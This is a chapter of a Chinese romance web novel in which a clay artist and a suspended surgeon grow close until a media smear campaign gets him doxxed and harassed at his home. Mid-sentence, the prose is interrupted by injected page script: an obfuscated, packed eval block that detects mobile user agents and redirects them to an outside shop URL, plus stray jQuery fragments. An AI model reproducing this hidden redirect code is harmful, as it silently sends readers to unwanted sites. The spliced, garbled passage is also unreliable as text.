10. 第 10 章

作品:《逃离雪夜[双向救赎]

    这几天,孟决明拿出了写论文的精神,刻苦钻研姜颂的教程,又做出了几个小东西出来。


    姜颂养伤,他停职,各自时间都很充裕,他便一天不落地往姜颂家跑。


    姜颂也很开心。


    一来是因为她无聊的时候可以有朋友陪,孟医生脾气特别好,可以包容她偶尔嘴比脑子快的胡话。


    二来是孟医生几乎每天都会带着美食过来投喂她。


    孟决明家里她这里不远,开车过来也就十来分钟,带来的美食总是冒着热气。姜颂觉得他也许是在家里刚做好饭就立马打包,然后就下楼开车来找她了。


    对比她自己做的饭和早就吃腻的外卖,姜颂对孟决明带来的东西根本不挑食,每次都光盘。孟决明变着花样地做,她就变着花样地夸。


    只是有个问题。


    孟医生在看着她大快朵颐的时候,总是很期待她给出的评价。这种评价不只是语言上的,也包括行动上的。


    有次她在他来之前吃了一块小蛋糕,实在吃不下,最后剩了一点菜,她能感觉到他的在意。即使她赞不绝口,他还是会有意无意地反复确认是不是做得不好。


    姜颂想不明白,孟医生名校毕业,还有留学经历,在三甲医院里年纪轻轻就做了主任医师,在许多人眼里绝对算得上成功人士。


    但他似乎对自己的认同感不太高。


    刚开始她只以为他是谦逊,接触多了才发现,他是真的特别期待她的肯定。


    姜颂回想各个阶段自己身边那些出类拔萃的人们,几乎每一个都有着不同程度的傲慢,那是一种长期被周围的“星星”们捧出来的优越感。


    可孟医生身上却看不到半点优越感的影子,反而总是十分谦逊,谦逊到妄自菲薄。


    她不明白,不过后来几天里再也没剩过任何一点东西,吃不下也硬吃。


    孟决明察觉到她的心思,再给她带饭时悄悄减了一点份量。


    日子过得很是悠闲平静。


    两人做手工累了,就会到楼下一起溜达溜达喂喂流浪猫,有时候孟决明也会在姜颂的要求下教她一点做饭技巧。


    只是在厨艺这方面,姜颂真的是一窍不通。她也终于认清了她做饭难吃跟她挑的菜好不好没有什么关系,纯属手艺问题,只好作罢。


    夜晚。


    姜颂洗漱完,穿着睡衣坐到桌前,打开工作台上的护眼灯。


    她抬手活动了一下手指与手腕,感觉这几天手部的疼痛已经没什么明显感觉了。


    算算时间,也半个月过去了,伤口已经愈合。


    孟决明白天来给她换过药,征求了这个专业人士的意见后,姜颂决定慢慢增加工作量,开始复工。


    姜颂看向灯下。


    那里摆放着一个勉强能猜出是兔子的白模。


    她取出丙烯颜料盘,为其上色。


    事毕,她双手托脸,端详着面前憨态可掬的小兔子,想到下午的时候坐在这里一本正经捏兔子的孟决明,忍俊不禁。


    从前几天开始,孟决明就一直在做兔子。


    那天跟他视频,看到他手里那只四不像时,她直接笑出了画面。


    等她笑够再回到画面里时,发现孟医生正低头盯着那四不像若有所思。


    她忙敛了笑,坐直身子。


    换做往常,她一定会绞尽脑汁地从那个四不像身上找到一点可取之处,然后再鼓励鼓励他。毕竟人家亲手做的,没有功劳也有苦劳。


    她刚才那么笑,孟医生不会不高兴吧?


    也是在那一刻,姜颂突然发现了一件事情——


    她后知后觉,自己好像对孟医生再没有了那种礼貌而疏离的客套。


    反而有点不客气了。


    姜颂绞着手指:“对不起啊,我刚才不该笑你的。”


    孟决明抬起眼,认真道:“哦不是,我只是在想要不要重新塑一下形,感觉是底子的问题。”


    “你这泥都快干了,只能重新做。”姜颂说完几秒后,忽然想起第一次教他的时候他就说想做一只兔子。


    “你是很喜欢兔子吗?”她特意问了这么一句。


    孟决明给了肯定的回答。


    姜颂那时就留了心,决定等自己的手能恢复工作了,要送孟医生一个关于兔子的礼物。


    今天孟决明来找她,她带着他捏了一下午兔子,最后挑出还能凑合看的一只,就是她眼前这个。


    孟决明说他上色总是深一块浅一块的,怕毁了这唯一一只看得过去的兔子白模,上色就拜托她帮忙了。


    不过,她要送的礼物可不是这个。


    姜颂收回思绪,小心地把颜料没干的兔子挪到一旁,从材料台上翻出一包黏土和乱七八糟的工具。


    台灯调到护眼模式后,她用小刀切了一块土,分成几个部分,一顿揉揉捏捏。十几分钟过去,一只可爱的小兔子诞生。


    她看着素体思索片刻,从密封袋里又取了一些土来,做了一个微型听诊器和一件白大褂,跟小兔素体组装在一起。


    端详许久,总觉得还差了点什么。


    她闭上眼睛想孟决明的气质,要她形容的话,她会觉得那是一种带着书卷气的斯文。这与他整个人的穿衣风格和长相都有关系。


    但兔子的形象过于可爱,怎么看都与这两个词毫不沾边。


    她灵机一动,用铜丝拧了一副金丝眼镜给小兔子戴上了。


    小兔医生萌得姜颂灵感大发。


    她也好久没研究新款了,也许可以以小兔医生的形象推出一个系列!


    顺便……还可以把第一套成品送给孟医生当礼物!


    今日工作毕,她把两只兔子放到通风处。


    她想如果明天干了,可以把上完色的小兔子给孟医生带回家,他一定很开心。


    只是第二天,她左等右等也没见到孟决明的人影。


    *


    孟决明刚从派出所打车回到小区,正往家走。


    拿出手机一看,微信有姜颂的消息发来。


    他拨通了微信语音过去。


    姜颂半个小时前给孟决明打过一通电话,显示关机,只好给他发了微信询问,可惜依然没有回信。


    她心不在焉地做单,心思全在手机上。


    接到微信语音的那一刻,姜颂几乎是立刻点了接听。


    她打开免提,问他:“还来吗?你的兔子可以带走了。”


    电话那头沉默


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008028|194113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一会儿。


    姜颂一时没听到声音,手上的动作也停了下来,看向手机屏幕。


    “抱歉,我今天应该是去不了了。”


    他的声音很沉:“手机一直在进电话,我把卡拔了,所以没接到你的电话,抱歉。”


    姜颂愣了愣:“你那边出什么事了吗?怎么会一直有人给你打电话?”


    孟决明看着远处的天空,闻言轻轻叹了口气。


    “我跟家属是中学同学,之前有些矛盾。家属找了媒体说了一些以前事,我的联系方式……可能是被扒了。”


    他没说的是,可能连住址也被一起扒了。


    早上他一到车位,就看见自己的车周围不知什么时候被人堆满了花圈。他这一早上都在派出所报案做笔录。


    这些人连他的车都找到了,假如他再去姜颂那,很可能一不小心就把她也卷进进这场风波里。


    他不能把危险带给她。


    姜颂没等他说完,切出通话页面,转到微博,果然看到了已爆的词条。


    医患矛盾历来是社会热点问题,与每个人息息相关,自然牵动着每一个人的情绪。


    这个世界上终究还是手无寸铁的普通人占了大多数,没有人能保证自己一辈子不会躺在手术台上。一旦遇上无良医生,基本是任人宰割的状态。


    看客纷纷代入自己,因为感同身受,所以对立。


    这写手显然很明白这一点,巧妙地利用了这种矛盾作为印子。


    文章里只说了孟决明和家属以及死者在学生时代有过节,轻描淡写地略过了过节本身,却抓住这个前因,强行将患者术后病情恶化的后果嫁接上去,一下子将大家的注意力重点引到了孟决明公报私仇上。


    姜颂估计着对方还买了水军下场带节奏,偶尔有个别严谨的看客提出对家属的质疑便会顷刻间遭到围攻,评论者受不住攻击只得悻悻删评。


    一来二去,词条里几乎是一边倒地在骂孟决明丧尽天良。


    别说当事人,连她这个无关人员看了那些评论都忍不住心惊肉跳。那些给他打电话的人,又会有多少恶毒的话等着他呢?


    姜颂退出来,心里憋着一口气不上不下的:“那你怎么办?”


    他倒像没事人似的反过来安慰她:“没事,我已经报警了。过几天热度下去就好了,不用担心。”


    仿佛她才是被骂的那一个。


    姜颂不知道说什么好。


    语音就这么挂着。


    孟决明进了电梯,很快上升到他所住的楼层。


    电梯门开,他的目光落在自己门口。


    眼前的情景彻底让他的心沉到了谷底。


    入户门上被人贴满了挽联,上面用红色墨水写着“无良医生”和“丧尽天良”八个大字,鲜红刺目。


    地上还有个盒子。


    孟决明走近,听见里面传来“吱吱”的叫声。


    他瞳孔微缩,一时间后背发寒,站在原地不知所措。


    “喂,孟医生?还在吗?”


    “嗯。”


    孟决明咽下情绪,用力揭下挽联,输入密码打开家门。


    一进门,母亲正端坐在客厅沙发上,目光冷漠地朝他投来。